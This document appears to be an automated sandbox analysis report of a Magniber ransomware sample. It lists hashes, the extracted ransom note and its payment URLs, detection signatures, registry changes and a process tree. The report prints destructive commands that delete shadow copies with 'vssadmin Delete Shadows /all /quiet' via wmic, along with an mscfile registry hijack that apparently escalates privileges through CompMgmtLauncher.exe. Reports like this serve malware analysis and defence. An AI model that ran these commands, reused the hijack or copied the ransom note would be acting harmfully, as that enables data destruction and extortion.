magniber | 5cfd8fefb03c8b0417743f48b9c8ac041387b9f0d24e775d0917a4c7de41847d

Analysis

max time kernel
142s
max time network
146s
platform
windows7_x64
resource
win7v20210408
submitted
29-08-2021 11:34

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General

Target

2.dll
Size

38KB
MD5

af93e6f3ae4466cefe7aa27baedfec96
SHA1

b6dc065d489b104c9aa08aacc6f97dd0b672d907
SHA256

5cfd8fefb03c8b0417743f48b9c8ac041387b9f0d24e775d0917a4c7de41847d
SHA512

43273b952f19d77499b5fce4f0c937e71017c56c133991832a1fa2a39151790e9161f794e4ea07776dc5a291f5c1d8a8d98b9c9ddcdce4c84a4de50346d1eef2

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://feb8c46022607eb03hramozl.755w262jegubyu4txxdvjupbul2uelswocczig2rw6ex2fhbguvlkfyd.onion/hramozl Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://feb8c46022607eb03hramozl.centone.top/hramozl http://feb8c46022607eb03hramozl.burybig.xyz/hramozl http://feb8c46022607eb03hramozl.dumpour.space/hramozl http://feb8c46022607eb03hramozl.joyfits.site/hramozl Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://feb8c46022607eb03hramozl.755w262jegubyu4txxdvjupbul2uelswocczig2rw6ex2fhbguvlkfyd.onion/hramozl

http://feb8c46022607eb03hramozl.centone.top/hramozl

http://feb8c46022607eb03hramozl.burybig.xyz/hramozl

http://feb8c46022607eb03hramozl.dumpour.space/hramozl

http://feb8c46022607eb03hramozl.joyfits.site/hramozl

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1776	1332	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	548	1332	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	428	1332	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2096	1332	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2132	1332	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2288	1332	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2632	1332	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2624	1332	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2796	1332	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2960	1332	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2984	1332	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2156	1332	vssadmin.exe	39

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\ApproveExport.tiff	Dwm.exe
File renamed	C:\Users\Admin\Pictures\EnableReset.tif => C:\Users\Admin\Pictures\EnableReset.tif.hramozl	Dwm.exe
File renamed	C:\Users\Admin\Pictures\UpdateStart.tif => C:\Users\Admin\Pictures\UpdateStart.tif.hramozl	Dwm.exe
File opened for modification	C:\Users\Admin\Pictures\WatchConvert.tiff	Dwm.exe
File renamed	C:\Users\Admin\Pictures\BackupClose.crw => C:\Users\Admin\Pictures\BackupClose.crw.hramozl	Dwm.exe
File renamed	C:\Users\Admin\Pictures\BlockRevoke.crw => C:\Users\Admin\Pictures\BlockRevoke.crw.hramozl	Dwm.exe
File renamed	C:\Users\Admin\Pictures\GetSkip.raw => C:\Users\Admin\Pictures\GetSkip.raw.hramozl	Dwm.exe
File renamed	C:\Users\Admin\Pictures\ApproveExport.tiff => C:\Users\Admin\Pictures\ApproveExport.tiff.hramozl	Dwm.exe
File renamed	C:\Users\Admin\Pictures\WatchConvert.tiff => C:\Users\Admin\Pictures\WatchConvert.tiff.hramozl	Dwm.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1996 set thread context of 1120	1996	rundll32.exe	20
PID 1996 set thread context of 1180	1996	rundll32.exe	19
PID 1996 set thread context of 1224	1996	rundll32.exe	18

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
2156	vssadmin.exe
548	vssadmin.exe
428	vssadmin.exe
2096	vssadmin.exe
2288	vssadmin.exe
2624	vssadmin.exe
2796	vssadmin.exe
2960	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000005dc1e460b427c44a91b6ff2747202d100000000020000000000106600000001000020000000c7a49437bcbe105312c7d8cf4ca4b55f1ba103d3e6d84a2d0f4c9e5bef53f286000000000e80000000020000200000000ab8bd62c475ffee236615819e9e6739ee901d9d28dafab113d31b4979e33c4d20000000c93a8f8547d3a117354307cb7b400c4ea620abcb1a17386920133d49fe65efc440000000daad7635c53a6f4fcfecd66f990739807e642a1698bf5bd0614962006e9e616a93bb20c07419ce2088da44941a06a49b88946d827451d3ae5609391ff68c8260	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f0309945da9cd701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000005dc1e460b427c44a91b6ff2747202d1000000000200000000001066000000010000200000006a94bcbec0cfb9dd171011b3953bd1c63dc7d052a687d6021e847231a02f551c000000000e8000000002000020000000975efcf268b9de64917585d0e65b5e7fa7b9c95c392a5c19292a277d6e519361900000003b6a178ff7ffa2601cd27567c68a9df0e4d46196d4165bf76d63b04b710c5002d10f9d796c6e1c0d28d1f9f5a4a7b1c95213f111c2755007c82bbd1cb6db67f86f6a5bb5270653f56bc5e3992441870c4f55b864e69ab4ef18847885c5c5de1e2df91aa4db75eb24308906247d9960229a4e2fb37e18e71e197bd24e9ca2044f3a581e6f079d74d380df848614d9a65d40000000cd109145cd25164e66c45aac18c743d9a5eb5245da12285abc4b38b320dcbf9940a579d1bdfbcf5c687ff8a2d311a2b86f08c91bf9a05113a99d2039540bb530	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{6BF8A241-08CD-11EC-896A-766459B397AD} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "337008869"	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1660	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1996	rundll32.exe
1996	rundll32.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
1224	Explorer.EXE
1384	iexplore.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1996	rundll32.exe
1996	rundll32.exe
1996	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1224	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	240	wmic.exe
Token: SeSecurityPrivilege	240	wmic.exe
Token: SeTakeOwnershipPrivilege	240	wmic.exe
Token: SeLoadDriverPrivilege	240	wmic.exe
Token: SeSystemProfilePrivilege	240	wmic.exe
Token: SeSystemtimePrivilege	240	wmic.exe
Token: SeProfSingleProcessPrivilege	240	wmic.exe
Token: SeIncBasePriorityPrivilege	240	wmic.exe
Token: SeCreatePagefilePrivilege	240	wmic.exe
Token: SeBackupPrivilege	240	wmic.exe
Token: SeRestorePrivilege	240	wmic.exe
Token: SeShutdownPrivilege	240	wmic.exe
Token: SeDebugPrivilege	240	wmic.exe
Token: SeSystemEnvironmentPrivilege	240	wmic.exe
Token: SeRemoteShutdownPrivilege	240	wmic.exe
Token: SeUndockPrivilege	240	wmic.exe
Token: SeManageVolumePrivilege	240	wmic.exe
Token: 33	240	wmic.exe
Token: 34	240	wmic.exe
Token: 35	240	wmic.exe
Token: SeShutdownPrivilege	1224	Explorer.EXE
Token: SeShutdownPrivilege	1224	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	916	WMIC.exe
Token: SeSecurityPrivilege	916	WMIC.exe
Token: SeTakeOwnershipPrivilege	916	WMIC.exe
Token: SeLoadDriverPrivilege	916	WMIC.exe
Token: SeSystemProfilePrivilege	916	WMIC.exe
Token: SeSystemtimePrivilege	916	WMIC.exe
Token: SeProfSingleProcessPrivilege	916	WMIC.exe
Token: SeIncBasePriorityPrivilege	916	WMIC.exe
Token: SeCreatePagefilePrivilege	916	WMIC.exe
Token: SeBackupPrivilege	916	WMIC.exe
Token: SeRestorePrivilege	916	WMIC.exe
Token: SeShutdownPrivilege	916	WMIC.exe
Token: SeDebugPrivilege	916	WMIC.exe
Token: SeSystemEnvironmentPrivilege	916	WMIC.exe
Token: SeRemoteShutdownPrivilege	916	WMIC.exe
Token: SeUndockPrivilege	916	WMIC.exe
Token: SeManageVolumePrivilege	916	WMIC.exe
Token: 33	916	WMIC.exe
Token: 34	916	WMIC.exe
Token: 35	916	WMIC.exe
Token: SeShutdownPrivilege	1224	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	240	wmic.exe
Token: SeSecurityPrivilege	240	wmic.exe
Token: SeTakeOwnershipPrivilege	240	wmic.exe
Token: SeLoadDriverPrivilege	240	wmic.exe
Token: SeSystemProfilePrivilege	240	wmic.exe
Token: SeSystemtimePrivilege	240	wmic.exe
Token: SeProfSingleProcessPrivilege	240	wmic.exe
Token: SeIncBasePriorityPrivilege	240	wmic.exe
Token: SeCreatePagefilePrivilege	240	wmic.exe
Token: SeBackupPrivilege	240	wmic.exe
Token: SeRestorePrivilege	240	wmic.exe
Token: SeShutdownPrivilege	240	wmic.exe
Token: SeDebugPrivilege	240	wmic.exe
Token: SeSystemEnvironmentPrivilege	240	wmic.exe
Token: SeRemoteShutdownPrivilege	240	wmic.exe
Token: SeUndockPrivilege	240	wmic.exe
Token: SeManageVolumePrivilege	240	wmic.exe
Token: 33	240	wmic.exe
Token: 34	240	wmic.exe
Token: 35	240	wmic.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE
1384	iexplore.exe
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE
1224	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1384	iexplore.exe
1384	iexplore.exe
240	IEXPLORE.EXE
240	IEXPLORE.EXE
240	IEXPLORE.EXE
240	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1180 wrote to memory of 1660	1180	Dwm.exe	29
PID 1180 wrote to memory of 1660	1180	Dwm.exe	29
PID 1180 wrote to memory of 1660	1180	Dwm.exe	29
PID 1180 wrote to memory of 1964	1180	Dwm.exe	30
PID 1180 wrote to memory of 1964	1180	Dwm.exe	30
PID 1180 wrote to memory of 1964	1180	Dwm.exe	30
PID 1180 wrote to memory of 240	1180	Dwm.exe	31
PID 1180 wrote to memory of 240	1180	Dwm.exe	31
PID 1180 wrote to memory of 240	1180	Dwm.exe	31
PID 1180 wrote to memory of 1896	1180	Dwm.exe	33
PID 1180 wrote to memory of 1896	1180	Dwm.exe	33
PID 1180 wrote to memory of 1896	1180	Dwm.exe	33
PID 1896 wrote to memory of 916	1896	cmd.exe	36
PID 1896 wrote to memory of 916	1896	cmd.exe	36
PID 1896 wrote to memory of 916	1896	cmd.exe	36
PID 1964 wrote to memory of 1384	1964	cmd.exe	37
PID 1964 wrote to memory of 1384	1964	cmd.exe	37
PID 1964 wrote to memory of 1384	1964	cmd.exe	37
PID 1776 wrote to memory of 1468	1776	cmd.exe	44
PID 1776 wrote to memory of 1468	1776	cmd.exe	44
PID 1776 wrote to memory of 1468	1776	cmd.exe	44
PID 1384 wrote to memory of 240	1384	iexplore.exe	48
PID 1384 wrote to memory of 240	1384	iexplore.exe	48
PID 1384 wrote to memory of 240	1384	iexplore.exe	48
PID 1384 wrote to memory of 240	1384	iexplore.exe	48
PID 1468 wrote to memory of 620	1468	CompMgmtLauncher.exe	49
PID 1468 wrote to memory of 620	1468	CompMgmtLauncher.exe	49
PID 1468 wrote to memory of 620	1468	CompMgmtLauncher.exe	49
PID 1120 wrote to memory of 1684	1120	taskhost.exe	53
PID 1120 wrote to memory of 1684	1120	taskhost.exe	53
PID 1120 wrote to memory of 1684	1120	taskhost.exe	53
PID 1120 wrote to memory of 944	1120	taskhost.exe	55
PID 1120 wrote to memory of 944	1120	taskhost.exe	55
PID 1120 wrote to memory of 944	1120	taskhost.exe	55
PID 944 wrote to memory of 1788	944	cmd.exe	57
PID 944 wrote to memory of 1788	944	cmd.exe	57
PID 944 wrote to memory of 1788	944	cmd.exe	57
PID 2132 wrote to memory of 2188	2132	cmd.exe	62
PID 2132 wrote to memory of 2188	2132	cmd.exe	62
PID 2132 wrote to memory of 2188	2132	cmd.exe	62
PID 2188 wrote to memory of 2236	2188	CompMgmtLauncher.exe	63
PID 2188 wrote to memory of 2236	2188	CompMgmtLauncher.exe	63
PID 2188 wrote to memory of 2236	2188	CompMgmtLauncher.exe	63
PID 1996 wrote to memory of 2504	1996	rundll32.exe	68
PID 1996 wrote to memory of 2504	1996	rundll32.exe	68
PID 1996 wrote to memory of 2504	1996	rundll32.exe	68
PID 1996 wrote to memory of 2516	1996	rundll32.exe	69
PID 1996 wrote to memory of 2516	1996	rundll32.exe	69
PID 1996 wrote to memory of 2516	1996	rundll32.exe	69
PID 2516 wrote to memory of 2564	2516	cmd.exe	72
PID 2516 wrote to memory of 2564	2516	cmd.exe	72
PID 2516 wrote to memory of 2564	2516	cmd.exe	72
PID 2632 wrote to memory of 2680	2632	cmd.exe	77
PID 2632 wrote to memory of 2680	2632	cmd.exe	77
PID 2632 wrote to memory of 2680	2632	cmd.exe	77
PID 2680 wrote to memory of 2744	2680	CompMgmtLauncher.exe	78
PID 2680 wrote to memory of 2744	2680	CompMgmtLauncher.exe	78
PID 2680 wrote to memory of 2744	2680	CompMgmtLauncher.exe	78
PID 1224 wrote to memory of 2852	1224	Explorer.EXE	82
PID 1224 wrote to memory of 2852	1224	Explorer.EXE	82
PID 1224 wrote to memory of 2852	1224	Explorer.EXE	82
PID 1224 wrote to memory of 2864	1224	Explorer.EXE	83
PID 1224 wrote to memory of 2864	1224	Explorer.EXE	83
PID 1224 wrote to memory of 2864	1224	Explorer.EXE	83

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1224
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\2.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2504
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2516
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:2564
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2852
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:2864
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2916

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1660
- C:\Windows\system32\cmd.exe
  cmd /c "start http://feb8c46022607eb03hramozl.centone.top/hramozl^&1^&39881967^&72^&315^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://feb8c46022607eb03hramozl.centone.top/hramozl&1&39881967&72&315&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1384
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1384 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:240
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:240
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:916

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1684
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:944
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1788

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1776
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:620

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:548

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1628

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:428

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2096

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2236

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2288

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2632
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2744

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2624

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2796

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2960

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
